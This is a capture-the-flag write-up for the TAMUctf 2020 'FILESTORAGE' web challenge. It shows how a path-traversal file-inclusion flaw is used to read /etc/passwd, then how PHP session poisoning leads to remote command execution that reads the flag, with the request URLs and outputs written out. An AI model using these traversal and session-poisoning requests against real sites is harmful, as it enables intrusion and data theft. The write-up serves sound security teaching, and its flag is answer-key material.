# FILESTORAGE Writeup

### TAMUctf 2020 - Web 122

> Try out my new file sharing site!
>
> http://filestorage.tamuctf.com

#### LFI

I notice file path can be controlled by user. Check LFI by trying to read `/etc/passwd`.

- `http://filestorage.tamuctf.com/index.php?file=../../../../../etc/passwd`

```
root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin
```

LFI triggered.

#### php session poisoning

Check the cookie and get `PHPSESSID`. Session exist at `sess_{PHPSESSID}`. The service is maintained by using session. From [https://github.com/w181496/Web-CTF-Cheatsheet#php-session](https://github.com/w181496/Web-CTF-Cheatsheet#php-session). To trigger php session poisoning, I need to find where the session file exists. Guessing!

- `http://filestorage.tamuctf.com/index.php?file=../../../../../tmp/sess_5lpmadkrnrft9a18hbbrshrond`

Find where session is located by using LFI. Set user name as ``. Use LFI to access session file and trigger session poisoning.

#### RCE

Set GET paramter `command` to get RCE. Access session file to get command output. Guess where flag is.

- `http://filestorage.tamuctf.com/index.php?file=../../../../../tmp/sess_5lpmadkrnrft9a18hbbrshrond&command=cat%20../../../../flag_is_here/flag.txt`

I read flag:

```
gigem{535510n_f1l3_p0150n1n6}
```

Original writeup (https://github.com/pcw109550/write-up/tree/master/2020/TAMUctf/FILESTORAGE).